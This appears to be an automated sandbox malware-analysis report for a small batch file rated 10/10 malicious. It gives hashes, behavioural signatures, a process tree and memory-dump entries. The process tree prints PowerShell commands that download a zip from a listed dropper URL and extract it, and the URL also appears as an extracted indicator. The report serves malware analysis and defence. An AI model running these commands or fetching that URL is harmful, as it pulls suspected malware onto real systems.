3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1557s
max time network
1559s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 17:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy.bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2400	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2400	powershell.exe
2816	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	2816	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 2400	2172	cmd.exe	29
PID 2172 wrote to memory of 2400	2172	cmd.exe	29
PID 2172 wrote to memory of 2400	2172	cmd.exe	29
PID 2172 wrote to memory of 2816	2172	cmd.exe	30
PID 2172 wrote to memory of 2816	2172	cmd.exe	30
PID 2172 wrote to memory of 2816	2172	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2816

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3694419cc8c6d48ee8306bcf10bc7f29

SHA1
83761d5ec24723b29605d466bfa11327ef9e75a5

SHA256
480c019b4a2cf9b1da29f5008ce4c41a01613b4a424fb4f4e4f742df62f09c01

SHA512
e77b4fd98483f4f5e1305b531083104bd55e421069a8bf197d13af5615f819daaf3830905a3d7401ccaf6cda7a49f2acf345ec6f20ed8cffa46482c100663c9e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7V8J0U13AYNN7LRDM14Y.temp

Filesize
7KB

MD5
3694419cc8c6d48ee8306bcf10bc7f29

SHA1
83761d5ec24723b29605d466bfa11327ef9e75a5

SHA256
480c019b4a2cf9b1da29f5008ce4c41a01613b4a424fb4f4e4f742df62f09c01

SHA512
e77b4fd98483f4f5e1305b531083104bd55e421069a8bf197d13af5615f819daaf3830905a3d7401ccaf6cda7a49f2acf345ec6f20ed8cffa46482c100663c9e

Download Submit
memory/2400-8-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2400-6-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-4-0x000000001B360000-0x000000001B642000-memory.dmp

Filesize
2.9MB

Download
memory/2400-9-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2400-10-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2400-12-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-5-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2400-7-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2816-18-0x000000001B350000-0x000000001B632000-memory.dmp

Filesize
2.9MB

Download
memory/2816-20-0x0000000002460000-0x0000000002468000-memory.dmp

Filesize
32KB

Download
memory/2816-19-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2816-21-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2816-22-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2816-23-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2816-24-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2816-25-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download